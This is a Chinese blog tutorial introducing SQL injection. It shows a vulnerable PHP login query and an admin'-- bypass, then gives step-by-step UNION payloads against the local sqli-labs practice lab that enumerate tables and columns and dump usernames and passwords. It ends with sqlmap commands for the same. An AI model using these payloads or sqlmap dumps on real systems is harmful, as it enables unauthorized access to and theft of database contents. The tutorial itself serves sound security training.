初识SQL注入

20 篇文章 0 订阅
15 篇文章 0 订阅
本文介绍了SQL注入的概念,演示了手动注入的过程,包括使用sqli-labs靶场,以及如何利用Information_schema获取数据库信息。还详细讲解了自动注入工具sqlmap的使用及其功能。
摘要由CSDN通过智能技术生成

目录

注入攻击

SQL注入

手工注入

Information_schema数据库

自动注入

介绍一下这款工具:sqlmap

半自动注入


前面给大家通过学习+练习的方式将XSS攻击的几种形式和一些简单的靶场和例题的演示,从本篇开始我将和小伙伴们通过边复习、边练习的方式来进行SQL注入的学习,本篇是SQL注入的第一篇,主要是对SQL注入的一些简单的介绍和大致的注入流程的演示,那么下面我们开始ヾ(◍°∇°◍)ノ゙

后面会用到sqli-labs靶场,这里附上下载链接,如果还没有该靶场的小伙伴可以下载一下:

sqli-labs: sql注入练习靶场123456 (gitee.com)

注入攻击

首先来介绍一下什么事SQL注入

注入攻击的本质,是把用户输入的数据当做代码执行,或者生成其他语义的内容,前面的XSS本质上也是一种针对HTML的注入攻击。

因此可以总结一下,注入攻击有两个关键条件:

  • 用户能够控制输入
  • 原本要执行的代码拼接了用户输入的数据

SQL注入

SQL注入第一次出现是在1998年的著名黑客杂志phrack上。在文章中,名为rfp的黑客,第一次向公众介绍了SQL注入的攻击技巧

那么可以举一个SQL注入的例子

如果后端的代码是这样的:

<?php 
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM User where username = '$username' and password = '$password';";
?>

 可以看到这里的后端代码是使用post方式拿到username和password,然后直接在数据库中进行查询,并没有对输入的内容进行任何过滤

代码期待用户的输入后的数据库查询是这样的:

select * from user where username = 'admin' and password = '123';

这里如果恶意用户输入的用户名是这样的:

admin'--

则数据库查询就变成了这样:

select * from user where username = 'admin'--' and password = '123';

这时就将and 以后的查询都注释掉了,此时就实现了无密码登录

手工注入

现在我来演示一下使用手动的方式进行SQL注入的流程

演示场景:sqli-labs

进入靶场后,然后点击第一关,这里使用第一关来演示一下

(1)根据提示可以看到这里告诉我们可以输入id作为参数和值

因此我们可以尝试查询一下id=1的结果:

可以看到这里查询出了id=1的用户的登录名和密码

那么根据上面的内容,现在就可以尝试进行SQL注入攻击,试着传入id=1' --+来逃出sql语句的查询语句

可以看到这里还是和id=1的结果是一样的

现在可以尝试一下使用联合查询(union)的方式来在闭合查询语句后,另外查询一些别的信息

小技巧:这里可以通过不断变换select 1,2,3... 不断增加列数来查找该表中一共有多少列

从上面的分别查3,4的网页的不同可以确定,该表中一共有3列

然后我们可以在1/2/3中查询一下,那个是username 和password可以显示在页面中的

但是这里我们查询的结果还是不对,它一致不变的显示id=1的结果。

这是因为联合查询时,id=1始终为真,所以就只会显示id=1时的值,想要让我们后面的语句执行就必须要让前面的id值为假,可以使用一下两种方式

  1. 让id的值为负值

  2. 让id的值为一个不存在的值

(2)根据结果可以看到username是第2列,password是第3列,因此我们可以来利用这两个位置来显示一些关于该数据库中额敏感的信息

查看用户名

查看数据库名

查看版本

利用这里当然还可以查到其他信息,最重要的还是这三个,现在数据库名称已经知道了,我们就要开始手动的获取数据库中其他敏感数据信息了

这里可以分析一下查询语句中需要的元素

知道了数据库我们可以使用数据库

查询数据库中的内容需要知道 表名 列名  才能查到具体的信息

但是这里是无法使用上面的方式直接在select 1,2,3里面的查询,因为没有那样的函数

这里就要介绍一个Mysql自带的数据库:

Information_schema数据库

Information_schema是MySQL中的一个系统数据库,它存储了MySQL的元数据信息,包括数据库、表、列等的信息。

在进行SQL注入攻击时,攻击者可以利用Information_schema来获取敏感信息,如数据库名、表名、列名等。

(3)我们可以利用information_schema数据库中的 table_name来查找我们已经查找的数据库中所有的表

select table_name from information_schema.tables
//这条语句可以查到  information_schema.tables 中的 table_name ,即该数据中的的所有表名

但是这里的表名并不是我们需要查询的security这个数据库中的,所以我们需要在查询语句后面增加条件筛选

select table_name from information_schema.tables where table_schema="security"
//这里我们将筛选的条件修改为table_schema="security" 表示我们需要查找的是数据库名为security中的所有的表

现在就可以在sql-labs靶场中实验一下:

id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

 这里使用的group_concat()函数就是将多个查询结果拼接到一个字符串中,如果不加该还是就会因为查询的结果太多而报错

(4)那么现在已经知道数据库名和表名了,现在就需要知道表中有那么具体的字段,这里就用users表为例来演示一下:

这里我们还是利用information_schema数据库,使用同样的方法,因为在information_schema数据库中的columns表中存放着所有的数据库中的所有的表中的所有字段名,因此可以通过已知到数据库名,表名来查询该表中的所有的字段名

id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='usersss'),3 --+


 可以看到这里成功的通过information_schema的conlumn表中table_schema字段也就是数据库名为security字段table_name也就是表名为users的所有字段的名称了

(5)现在知道了数据库名、表名、字段名,那么就可以为所欲为的查询数据库中的所有数据了

比如查询所有的用户名和密码:

?id=-1' union select 1,(select group_concat(id,0x3a,username,0x3a,password) from users),3 --+

 

到此手动注入的流程已经演示完成了 

自动注入

自动注入就是使用工具了,有很多工具都可以进行自动sql注入

这里我演示使用的是sqlmap,kail中默认就有,没有的可以自行下载,windows、Linux版本的都有的,我这里就使用windows中演示一下吧,

介绍一下这款工具:sqlmap

SQLmap是一个开源的渗透测试工具,可以进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限,它具有强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至通过外带数据连接的方式执行操作系统的命令

常用的参数:

- **-u:指定URL**
- **--dbs(末尾):查看数据库**
- **-D(指定数据库名) -tables(末尾):查看表**
- **-D(指定数据库名) -T(指定表名) --column:查看列**
- **-D(指定数据库名) -T(指定表名) -C(指定列)--dump:查看指定列中的值**
- **-r 查看文本的请求中是否存在注入**
- -p 指定SQL注入点
- --level (1~5):检测级别
- --risk:风险等级
- --batch 非交互式模式
- –dbs 所有数据库
- –current-db 网站当前数据库
- **–users 所有数据库用户**
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- **–passwords 数据库密码**
- –proxy http://local:8080 设置代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

下载完成后,使用cmd移动到文件夹下,然后可以直接使用下面命令来进行自动sql注入

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

可以看到这里也是成功的写出了几个payload,而且分别有unio查询,布尔注入,报错注入,时间盲注四种方式,可以看到自动注入的效率和效果是非常好的

半自动注入

这里的半自动注入还是使用sqlmap,但是不是直接使用url来让sqlmap自动注入,而是我们一步一步来使用sqlmao来注入出数据库名。表名。和列名,最后注入出数据

(1)注出数据库名

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs

(2)注出表名

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security  --tables

(3)注出字段名

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security  -T users --column

(4)注出数据

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security  -T users -C username --dump

到此,SQL注入的基础知识和手工注入,自动注入,半自动注入就演示完毕了,后面会和小伙伴们继续分享更多的SQL注入的技巧和靶场练习(^▽^) 

  • 47
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 17
    评论
### 回答1: 您好,头歌educoder初识sqlserver是一门介绍SQL Server数据库基础知识的课程。该课程主要包括SQL Server的安装、配置、数据库的创建、表的设计、数据的插入、更新、删除、查询等内容。通过学习该课程,可以初步了解SQL Server数据库的基本操作和使用方法。 ### 回答2: 头歌educoder初识SQL Server是一个关于初学者学习和了解SQL Server数据库管理系统的经历和过程。通过这个头歌educoder,我首次接触到了SQL Server,并开始学习如何使用它来管理数据库。 在学习中,我了解到SQL Server是由微软公司开发的数据库管理系统,它被广泛应用于企业级应用和数据管理。SQL Server具有强大的数据处理和管理功能,可以处理大规模数据的查询、更新和存储。 我首先学习了SQL Server的基本概念和术语,例如数据库、数据表、字段和记录等。我了解到数据库是一个用于存储和组织数据的容器,而数据表则是数据库中数据的逻辑结构。字段是数据表中的列,用于定义数据的类型和约束。记录则是数据表中的行,每一行代表一个具体的数据实例。 在学习SQL Server的语法和命令时,我掌握了一些基本的操作,例如创建数据库和表,插入数据,更新数据和删除数据等。我学会了使用SELECT语句进行数据查询,并了解了WHERE子句用于过滤数据。我还学习了如何使用JOIN子句将多个数据表连接在一起进行查询操作。 此外,我还学习了SQL Server的数据备份和恢复,以及权限管理和安全性等方面的知识。我了解到备份是保护数据安全的重要手段,可以在数据丢失或系统崩溃时进行数据恢复。权限管理则可以控制用户对数据库的访问和操作权限,确保数据的安全性。 总的来说,通过头歌educoder初识SQL Server,我对这个强大的数据库管理系统有了初步的了解和认识。我学会了SQL Server的基本操作和功能,并且意识到了学习SQL Server的重要性和实用性。我将继续深入学习和掌握更多高级的SQL Server技术和应用,以提升自己在数据库管理领域的能力。 ### 回答3: 在初次接触educoder时,我对于SQL Server这个数据库管理系统产生了浓厚的兴趣。SQL Server是由微软开发的一款强大的关系型数据库管理系统,它具有稳定性高、安全性强、性能优越等特点,广泛应用于企业级应用程序的开发和数据管理领域。 首先,SQL Server提供了友好的图形化用户界面,使得用户可以方便地进行数据库的管理和操作。通过直观的界面和菜单,我可以轻松创建数据库、表格和视图,执行SQL查询语句并进行数据的增删改查等操作。这方便了我对数据库的理解和使用。 其次,SQL Server具有强大的安全性能。它支持对数据库进行权限控制,通过给用户分配不同的权限,可以确保数据的安全性。此外,SQL Server还提供了强大的加密功能,可以对敏感数据进行加密存储,保障了数据的机密性。 另外,SQL Server在性能方面也表现出色。它采用了先进的查询优化技术,可以快速地处理大量数据,并且具有高并发性能。同时,SQL Server还提供了丰富的索引和分区功能,可以大大提高查询和数据处理的效率。 最后,SQL Server的应用广泛。不仅在企业级应用程序中得到了广泛应用,还被许多大型网站和云服务商所采用。因此,学习并熟练使用SQL Server对于我的职业发展和个人技能提升非常有帮助。 总之,初次接触educoder中的SQL Server让我对于这款数据库管理系统产生了浓厚的兴趣。它的稳定性、安全性、性能以及广泛应用的特点让我对于学习和使用SQL Server充满了期待。在未来的学习过程中,我将继续深入了解SQL Server,并且通过实践来提升自己的数据库管理和操作能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 17
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值